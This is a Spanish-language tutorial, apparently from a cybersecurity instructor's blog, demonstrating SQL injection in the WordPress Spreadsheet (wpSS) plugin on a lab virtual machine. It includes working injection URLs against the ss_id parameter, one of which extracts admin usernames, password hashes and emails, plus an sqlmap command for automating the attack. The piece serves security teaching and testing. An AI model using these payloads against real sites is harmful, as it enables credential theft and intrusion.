Inyección SQL en el Plugin Wordpress Spreadsheet (wpSS) <= 0.6
WordPress es un software web el cual puede ser utilizado para crear sitios webs o blogs. El cual es al mismo tiempo libre y sin costo. El núcleo del software está construido por cientos de voluntarios de la comunidad. Incluye miles de plugins y temas con los cuales se puede transformar un sitio en cualquier cosa imaginable.
WordPress y sus componentes asociados; como los plugins; tienen un extenso registro de vulnerabilidades de seguridad, los cuales son identificados y parcheados constantemente.
Para la siguientes demostración se utiliza la versión de WordPress incluida en la Máquina Virtual OBWAP. La identificación de vulnerabilidades puede ser realizar ya sea utilizando una herramienta automática como WPScan; de la cual se puede encontrar referencias en la parte final del presente escrito.
Otra opción es utilizar la herramienta Zed Attack Proxy para realizar un escaneo activo y descubrir vulnerabilidades en la Aplicación Web.
Se procede a verificar los hallazgos encontrados sobre Inyecciones SQL identificados en el plugin de nombre “WordPress SpreadSheet”.
Para verificar la vulnerabilidad detectada por la herramienta WPScan. Se utiliza la prueba de concepto expuesta en la página respectiva de “Exploit-DB”. Al realizar la Inyección SQL se expone la información del usuario de nombre “admin”, el hash de su contraseña, y su dirección de correo electrónico. El parámetro vulnerable es “ss_id” en la página de nombre “ss_load.php”.
http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
Zed Attack Proxy reporta el hallazgo de tres inyecciones SQL, una utilizando el método GET y dos utilizando el método POST.
http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_handler.php?display=0&edit&ss_id=1
http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_handler.php?display&edit&ss_id
http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_handler.php?display&edit&ss_id=1
Existe también un reporte en “SecurityFocus” relacionadas a estas Inyecciones SQL detectadas por ZAP. Puntualmente aquella utilizando el método GET. Se utiliza la prueba de concepto incluida en este reporte. El resultado de la Inyección SQL expone las ubicaciones en las cuales se muestran los datos extraídos desde la Base de Datos. El parámetro vulnerable es “ss_id” en la página de nombre “ss_handler.php"
http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=-20%20UNION%20ALL%20SELECT%201,2,3,4#
Los siguientes dos hallazgos de Inyecciones SQL detectados por ZAP utilizando el método POST pueden ser evaluados también utilizando el método GET con los mismos resultados.
Se puede automatizar la evaluación y el ataque de Inyección SQL utilizando la herramienta SQLMap.
$ sqlmap -u "http:// 192.168.0.33/wordpress/wp-content/plugins/wpSS/ss_handler.php?display=0&edit&ss_id=1" -b
En el mismo plugin también se han reportado vulnerabilidades de Cross-Site Scripting (XSS) Reflejado.
Fuentes:
http://www.reydes.com/d/?q=Realizar_un_Escaneo_de_Vulnerabilidades_contr...
https://www.exploit-db.com/exploits/5486/
https://wpvulndb.com/vulnerabilities/6482
http://www.securityfocus.com/bid/69089/exploit
http://www.wordpressexploit.com/
http://wpscan.org/
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
http://sqlmap.org/
Sobre el Autor
Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
WhatsApp: https://wa.me/51949304030
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
Youtube: https://www.youtube.com/c/AlonsoCaballero
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/